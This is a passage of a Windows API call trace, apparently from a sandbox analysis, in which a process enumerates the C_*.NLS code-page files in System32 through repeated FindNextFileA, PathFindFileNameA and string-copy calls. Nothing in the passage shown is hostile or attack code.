out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacae8ebe, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacae8ebe, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x294d6dfc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x2c022, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20004.NLS", cAlternateFileName="")) returned 1 [0144.548] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.548] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20003.NLS") returned="C_20003.NLS" [0144.548] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.548] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.548] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacb0f01d, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacb0f01d, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x294d6dfc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x2de22, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20005.NLS", cAlternateFileName="")) returned 1 [0144.549] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.549] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20004.NLS") returned="C_20004.NLS" [0144.549] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.549] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.549] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacc199b6, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacc199b6, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x295bb63c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20105.NLS", cAlternateFileName="")) returned 1 [0144.549] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.549] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20005.NLS") returned="C_20005.NLS" [0144.549] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.549] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.550] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacc3fb15, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacc3fb15, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x295bb63c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20106.NLS", cAlternateFileName="")) returned 1 [0144.550] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.550] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20105.NLS") returned="C_20105.NLS" [0144.550] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.550] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.550] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacc65c74, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacc65c74, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x295e179c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20107.NLS", cAlternateFileName="")) returned 1 [0144.550] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.551] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20106.NLS") returned="C_20106.NLS" [0144.551] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.551] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.551] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacc65c74, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacc65c74, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x295e179c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20108.NLS", cAlternateFileName="")) returned 1 [0144.551] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.551] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20107.NLS") returned="C_20107.NLS" [0144.551] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.551] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.551] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacb3517c, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacb3517c, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x294d6dfc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20127.NLS", cAlternateFileName="")) returned 1 [0144.552] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.552] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20108.NLS") returned="C_20108.NLS" [0144.552] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.552] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.552] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacb3517c, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacb3517c, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2954921c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x22222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20261.NLS", cAlternateFileName="")) returned 1 [0144.553] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.553] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20127.NLS") returned="C_20127.NLS" [0144.553] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.553] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.553] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacc8bdd3, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacc8bdd3, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x296ec13c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20269.NLS", cAlternateFileName="")) returned 1 [0144.553] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.553] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20261.NLS") returned="C_20261.NLS" [0144.553] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.553] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.554] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac7a3094, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac7a3094, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2898857c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20273.NLS", cAlternateFileName="")) returned 1 [0144.554] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.554] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20269.NLS") returned="C_20269.NLS" [0144.554] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.554] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.554] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac8154b1, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac8154b1, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2898857c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20277.NLS", cAlternateFileName="")) returned 1 [0144.554] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.555] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20273.NLS") returned="C_20273.NLS" [0144.555] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.555] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.555] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac83b610, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac83b610, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2898857c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20278.NLS", cAlternateFileName="")) returned 1 [0144.555] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.555] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20277.NLS") returned="C_20277.NLS" [0144.555] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.555] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.555] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac86176f, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac86176f, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2898857c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20280.NLS", cAlternateFileName="")) returned 1 [0144.556] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.556] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20278.NLS") returned="C_20278.NLS" [0144.556] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.556] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.556] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac8878ce, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac8878ce, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2898857c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20284.NLS", cAlternateFileName="")) returned 1 [0144.556] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.556] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20280.NLS") returned="C_20280.NLS" [0144.556] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.557] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.557] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac8878ce, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac8878ce, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x289ae6dc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20285.NLS", cAlternateFileName="")) returned 1 [0144.557] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.557] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20284.NLS") returned="C_20284.NLS" [0144.557] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.557] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.557] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac8ada2d, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac8ada2d, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x289ae6dc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20290.NLS", cAlternateFileName="")) returned 1 [0144.557] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.558] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20285.NLS") returned="C_20285.NLS" [0144.558] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.558] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.558] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac8ada2d, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac8ada2d, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x289ae6dc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20297.NLS", cAlternateFileName="")) returned 1 [0144.558] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.558] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20290.NLS") returned="C_20290.NLS" [0144.558] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.558] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.559] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac8d3b8c, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac8d3b8c, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x289ae6dc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20420.NLS", cAlternateFileName="")) returned 1 [0144.561] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.561] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20297.NLS") returned="C_20297.NLS" [0144.561] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.561] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.561] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac8f9ceb, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac8f9ceb, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x289ae6dc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20423.NLS", cAlternateFileName="")) returned 1 [0144.561] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.561] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20420.NLS") returned="C_20420.NLS" [0144.562] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.562] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.562] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac91fe4a, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac91fe4a, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x289ae6dc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20424.NLS", cAlternateFileName="")) returned 1 [0144.562] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.562] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20423.NLS") returned="C_20423.NLS" [0144.562] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.562] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.563] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac91fe4a, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac91fe4a, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x289ae6dc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20833.NLS", cAlternateFileName="")) returned 1 [0144.563] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.563] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20424.NLS") returned="C_20424.NLS" [0144.563] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.563] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.563] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac945fa9, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac945fa9, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x289ae6dc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20838.NLS", cAlternateFileName="")) returned 1 [0144.563] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.563] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20833.NLS") returned="C_20833.NLS" [0144.563] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.563] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.564] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacb5b2db, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xacb5b2db, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x2954921c, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20866.NLS", cAlternateFileName="")) returned 1 [0144.564] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.564] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20838.NLS") returned="C_20838.NLS" [0144.564] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.564] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.564] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac945fa9, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac945fa9, ftLastAccessTime.dwHighDateTime=0x1ca03f7, ftLastWriteTime.dwLowDateTime=0x289ae6dc, ftLastWriteTime.dwHighDateTime=0x1c9ea15, nFileSizeHigh=0x0, nFileSizeLow=0x10222, dwReserved0=0x0, dwReserved1=0x0, cFileName="C_20871.NLS", cAlternateFileName="")) returned 1 [0144.564] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0144.565] PathFindFileNameA (pszPath="C:\\Windows\\System32\\C_20866.NLS") returned="C_20866.NLS" [0144.565] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\System32\\" | out: lpString1="C:\\Windows\\System32\\") returned="C:\\Windows\\System32\\" [0144.565] PathAddBackslashA (in: pszPath="C:\\Windows\\System32\\" | out: pszPath="C:\\Windows\\System32\\") returned="" [0144.565] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac96c108, ftCreationTime.dwHighDateTime=0x1ca03f7, ftLastAccessTime.dwLowDateTime=0xac96c108, ftLastAccessTime.dwHighDateTime=0x1ca03f7, 